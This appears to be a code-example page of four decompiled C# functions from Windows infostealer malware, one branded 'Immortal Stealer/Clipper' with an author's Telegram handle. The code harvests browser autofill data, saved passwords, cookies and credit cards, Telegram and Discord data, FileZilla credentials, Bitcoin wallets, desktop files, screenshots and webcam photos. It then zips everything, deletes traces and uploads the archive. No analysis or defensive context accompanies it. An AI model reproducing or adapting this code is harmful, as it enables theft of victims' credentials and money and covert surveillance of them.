예제 #1
0
    // Token: 0x06000002 RID: 2 RVA: 0x000021C0 File Offset: 0x000003C0
    public static void grab_forms(string string_0)
    {
        string environmentVariable = Environment.GetEnvironmentVariable("LocalAppData");

        string[] array = new string[]
        {
            environmentVariable + "\\Google\\Chrome\\User Data\\Default\\Web Data",
            Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Web Data",
            environmentVariable + "\\Kometa\\User Data\\Default\\Web Data",
            environmentVariable + "\\Orbitum\\User Data\\Default\\Web Data",
            environmentVariable + "\\Comodo\\Dragon\\User Data\\Default\\Web Data",
            environmentVariable + "\\Amigo\\User\\User Data\\Default\\Web Data",
            environmentVariable + "\\Torch\\User Data\\Default\\Web Data",
            environmentVariable + "\\CentBrowser\\User Data\\Default\\Web Data",
            environmentVariable + "\\Go!\\User Data\\Default\\Web Data",
            environmentVariable + "\\uCozMedia\\Uran\\User Data\\Default\\Web Data",
            environmentVariable + "\\MapleStudio\\ChromePlus\\User Data\\Default\\Web Data",
            environmentVariable + "\\Yandex\\YandexBrowser\\User Data\\Default\\Web Data",
            environmentVariable + "\\BlackHawk\\User Data\\Default\\Web Data",
            environmentVariable + "\\AcWebBrowser\\User Data\\Default\\Web Data",
            environmentVariable + "\\CoolNovo\\User Data\\Default\\Web Data",
            environmentVariable + "\\Epic Browser\\User Data\\Default\\Web Data",
            environmentVariable + "\\Baidu Spark\\User Data\\Default\\Web Data",
            environmentVariable + "\\Rockmelt\\User Data\\Default\\Web Data",
            environmentVariable + "\\Sleipnir\\User Data\\Default\\Web Data",
            environmentVariable + "\\SRWare Iron\\User Data\\Default\\Web Data",
            environmentVariable + "\\Titan Browser\\User Data\\Default\\Web Data",
            environmentVariable + "\\Flock\\User Data\\Default\\Web Data",
            environmentVariable + "\\Vivaldi\\User Data\\Default\\Web Data",
            environmentVariable + "\\Sputnik\\User Data\\Default\\Web Data",
            environmentVariable + "\\Maxthon\\User Data\\Default\\Web Data"
        };
        foreach (string text in array)
        {
            try
            {
                string str  = "";
                bool   flag = text.Contains("Chrome");
                if (flag)
                {
                    str = "Google";
                }
                bool flag2 = text.Contains("Yandex");
                if (flag2)
                {
                    str = "Yandex";
                }
                bool flag3 = text.Contains("Orbitum");
                if (flag3)
                {
                    str = "Orbitum";
                }
                bool flag4 = text.Contains("Opera");
                if (flag4)
                {
                    str = "Opera";
                }
                bool flag5 = text.Contains("Amigo");
                if (flag5)
                {
                    str = "Amigo";
                }
                bool flag6 = text.Contains("Torch");
                if (flag6)
                {
                    str = "Torch";
                }
                bool flag7 = text.Contains("Comodo");
                if (flag7)
                {
                    str = "Comodo";
                }
                bool flag8 = text.Contains("CentBrowser");
                if (flag8)
                {
                    str = "CentBrowser";
                }
                bool flag9 = text.Contains("Go!");
                if (flag9)
                {
                    str = "Go!";
                }
                bool flag10 = text.Contains("uCozMedia");
                if (flag10)
                {
                    str = "uCozMedia";
                }
                bool flag11 = text.Contains("MapleStudio");
                if (flag11)
                {
                    str = "MapleStudio";
                }
                bool flag12 = text.Contains("BlackHawk");
                if (flag12)
                {
                    str = "BlackHawk";
                }
                bool flag13 = text.Contains("CoolNovo");
                if (flag13)
                {
                    str = "CoolNovo";
                }
                bool flag14 = text.Contains("Vivaldi");
                if (flag14)
                {
                    str = "Vivaldi";
                }
                bool flag15 = text.Contains("Sputnik");
                if (flag15)
                {
                    str = "Sputnik";
                }
                bool flag16 = text.Contains("Maxthon");
                if (flag16)
                {
                    str = "Maxthon";
                }
                bool flag17 = text.Contains("AcWebBrowser");
                if (flag17)
                {
                    str = "AcWebBrowser";
                }
                bool flag18 = text.Contains("Epic Browser");
                if (flag18)
                {
                    str = "Epic Browser";
                }
                bool flag19 = text.Contains("Baidu Spark");
                if (flag19)
                {
                    str = "Baidu Spark";
                }
                bool flag20 = text.Contains("Rockmelt");
                if (flag20)
                {
                    str = "Rockmelt";
                }
                bool flag21 = text.Contains("Sleipnir");
                if (flag21)
                {
                    str = "Sleipnir";
                }
                bool flag22 = text.Contains("SRWare Iron");
                if (flag22)
                {
                    str = "SRWare Iron";
                }
                bool flag23 = text.Contains("Titan Browser");
                if (flag23)
                {
                    str = "Titan Browser";
                }
                bool flag24 = text.Contains("Flock");
                if (flag24)
                {
                    str = "Flock";
                }
                try
                {
                    List <FormData> list   = GrabForms.smethod_1(text);
                    bool            flag25 = list != null;
                    if (flag25)
                    {
                        Directory.CreateDirectory(string_0 + "\\Autofill\\");
                        using (StreamWriter streamWriter = new StreamWriter(string_0 + "\\Autofill\\" + str + "_Autofill.txt"))
                        {
                            foreach (FormData formData in list)
                            {
                                streamWriter.Write(formData.Name + "\t" + formData.Value + "\r\n");
                            }
                        }
                    }
                }
                catch
                {
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
    }
예제 #2
0
        public static void SendFile()
        {
            string randomString = Helper.GetRandomString();
            string str1         = Path.GetTempPath() + randomString;

            Directory.CreateDirectory(str1);
            using (StreamWriter streamWriter = new StreamWriter(str1 + "\\Пароли.log"))
            {
                streamWriter.WriteLine(string.Format("Date: {0}\r\n", (object)DateTime.Now) + string.Format("Windows Username: {0}\r\n", (object)Environment.UserName) + string.Format("HWID: {0}\r\n", (object)RawSettings.HWID) + string.Format("System: {0}\r\n", (object)Passwords.GetWindowsVersion()));
                try
                {
                    foreach (PassData passData in Chromium.Initialise())
                    {
                        streamWriter.WriteLine((object)passData);
                    }
                }
                catch
                {
                }
            }

            try
            {
                Passwords.DesktopCopy(str1);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }


            try
            {
            }
            catch
            {
            }
            try
            {
                Passwords.get_screenshot(str1 + "\\desktop.jpg");
            }

            catch (Exception ex)

            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Passwords.grab_minecraft(str1);
            }
            catch (Exception)
            {
            }
            try
            {
                Passwords.Returgen.get_webcam(str1 + "\\CamPicture.png");
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            try
            {
                Passwords.grab_telegram(str1);
            }
            catch (Exception)
            {
            }
            try
            {
                Passwords.grab_discord(str1);
            }
            catch (Exception)
            {
            }
            try
            {
                Cookies.Chromium.ChromiumInitialise(str1 + "\\");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                CC.grab_cards(str1 + "\\");
            }
            catch (Exception ex5)
            {
                Console.WriteLine(ex5.ToString());
            }
            try
            {
                GrabForms.grab_forms(str1 + "\\");
            }
            catch (Exception ex6)
            {
                Console.WriteLine(ex6.ToString());
            }
            try
            {
                FilezillaFTP.FileZilla.Initialise(str1 + "\\");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                string bitcoin = Crypto.get_bitcoin();
                if (bitcoin != "" && File.Exists(bitcoin))
                {
                    File.Copy(bitcoin, str1 + "\\wallet.dat");
                }
            }
            catch (Exception ex8)
            {
                Console.WriteLine(ex8.ToString());
            }

            try
            {
                {
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Passwords.Zip(str1, Path.GetTempPath() + "\\" + randomString + ".zip");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Passwords.RemoveTempFiles(str1);
            }
            catch (Exception ex)

            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Network.UploadFile(Path.GetTempPath() + "\\" + randomString + ".zip");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
예제 #3
0
    // Token: 0x06000029 RID: 41
    public static void stealer_main_routine()
    {
        string text  = Class8.Random_string();
        string text2 = Path.GetTempPath() + text;

        Directory.CreateDirectory(text2);
        using (StreamWriter streamWriter = new StreamWriter(text2 + "\\passwords.log"))
        {
            streamWriter.WriteLine(string.Concat(new string[]
            {
                "[==================== Immortal Stealer/Clipper ====================]\r\n[=================== Create By Zet5D ===================]\r\n[=================== Telegram: @Zet5D ===================]\r\n",
                string.Format("Date: {0}\r\n", DateTime.Now),
                string.Format("Windows Username: {0}\r\n", Environment.UserName),
                string.Format("HWID: {0}\r\n", Class2.hwid),
                string.Format("System: {0}\r\n", Class9.define_windows())
            }));
            try
            {
                foreach (PassData value in Chromium.Initialise())
                {
                    streamWriter.WriteLine(value);
                }
            }
            catch
            {
            }
        }
        try
        {
            Class9.grab_desktop(text2);
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.ToString());
        }
        try
        {
            Class9.grab_minecraft(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_telegram(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_discord(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.get_screenshot(text2 + "\\desktop.jpg");
        }
        catch (Exception ex2)
        {
            Console.WriteLine(ex2.ToString());
        }
        try
        {
            Class9.Class10.get_webcam(text2 + "\\CamPicture.png");
        }
        catch (Exception ex3)
        {
            Console.WriteLine(ex3.ToString());
        }
        try
        {
            Class4.grab_cookies(text2 + "\\");
        }
        catch (Exception ex4)
        {
            Console.WriteLine(ex4.ToString());
        }
        try
        {
            Class14.grab_cards(text2 + "\\");
        }
        catch (Exception ex5)
        {
            Console.WriteLine(ex5.ToString());
        }
        try
        {
            GrabForms.grab_forms(text2 + "\\");
        }
        catch (Exception ex6)
        {
            Console.WriteLine(ex6.ToString());
        }
        try
        {
            Class6.Class7.get_filezilla(text2 + "\\");
        }
        catch (Exception ex7)
        {
            Console.WriteLine(ex7.ToString());
        }
        try
        {
            string bitcoin = CryptoWallets.get_bitcoin();
            if (bitcoin != "" && File.Exists(bitcoin))
            {
                File.Copy(bitcoin, text2 + "\\wallet.dat");
            }
        }
        catch (Exception ex8)
        {
            Console.WriteLine(ex8.ToString());
        }
        try
        {
            Class9.zip_folder(text2, Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex9)
        {
            Console.WriteLine(ex9.ToString());
        }
        try
        {
            Class9.delete_folder(text2);
        }
        catch (Exception ex10)
        {
            Console.WriteLine(ex10.ToString());
        }
        try
        {
            Internet.upload_file(Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex11)
        {
            Console.WriteLine(ex11.ToString());
        }
    }
예제 #4
0
        // Token: 0x0600002F RID: 47 RVA: 0x00004348 File Offset: 0x00002548
        public static void SendFile()
        {
            string randomString = Helper.GetRandomString();
            string text         = Path.GetTempPath() + randomString;

            Directory.CreateDirectory(text);
            using (StreamWriter streamWriter = new StreamWriter(text + "\\pass.log"))
            {
                streamWriter.WriteLine(string.Format("Date: {0}\r\n", DateTime.Now) + string.Format("Windows Username: {0}\r\n", Environment.UserName) + string.Format("HWID: {0}\r\n", RawSettings.HWID) + string.Format("System: {0}\r\n", Passwords.GetWindowsVersion()));
                try
                {
                    foreach (PassData value in Chromium.Initialise())
                    {
                        streamWriter.WriteLine(value);
                    }
                }
                catch
                {
                }
            }
            try
            {
                Passwords.DesktopCopy(text);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
            }
            catch
            {
            }
            try
            {
                Passwords.get_screenshot(text + "\\desktop.jpg");
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
            }
            try
            {
                Passwords.grab_minecraft(text);
            }
            catch (Exception)
            {
            }
            try
            {
                Passwords.Returgen.get_webcam(text + "\\CamPicture.png");
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            try
            {
                Passwords.grab_telegram(text);
            }
            catch (Exception)
            {
            }
            try
            {
                Passwords.grab_discord(text);
            }
            catch (Exception)
            {
            }
            try
            {
                Chromium.ChromiumInitialise(text + "\\");
            }
            catch (Exception ex4)
            {
                Console.WriteLine(ex4.ToString());
            }
            try
            {
                CC.grab_cards(text + "\\");
            }
            catch (Exception ex5)
            {
                Console.WriteLine(ex5.ToString());
            }
            try
            {
                GrabForms.grab_forms(text + "\\");
            }
            catch (Exception ex6)
            {
                Console.WriteLine(ex6.ToString());
            }
            try
            {
                FilezillaFTP.FileZilla.Initialise(text + "\\");
            }
            catch (Exception ex7)
            {
                Console.WriteLine(ex7.ToString());
            }
            try
            {
                string bitcoin = Crypto.get_bitcoin();
                bool   flag    = bitcoin != "" && File.Exists(bitcoin);
                if (flag)
                {
                    File.Copy(bitcoin, text + "\\wallet.dat");
                }
            }
            catch (Exception ex8)
            {
                Console.WriteLine(ex8.ToString());
            }
            try
            {
            }
            catch (Exception ex9)
            {
                Console.WriteLine(ex9.ToString());
            }
            try
            {
                Passwords.Zip(text, Path.GetTempPath() + "\\" + randomString + ".zip");
            }
            catch (Exception ex10)
            {
                Console.WriteLine(ex10.ToString());
            }
            try
            {
                Passwords.RemoveTempFiles(text);
            }
            catch (Exception ex11)
            {
                Console.WriteLine(ex11.ToString());
            }
            try
            {
                Network.UploadFile(Path.GetTempPath() + "\\" + randomString + ".zip");
            }
            catch (Exception ex12)
            {
                Console.WriteLine(ex12.ToString());
            }
        }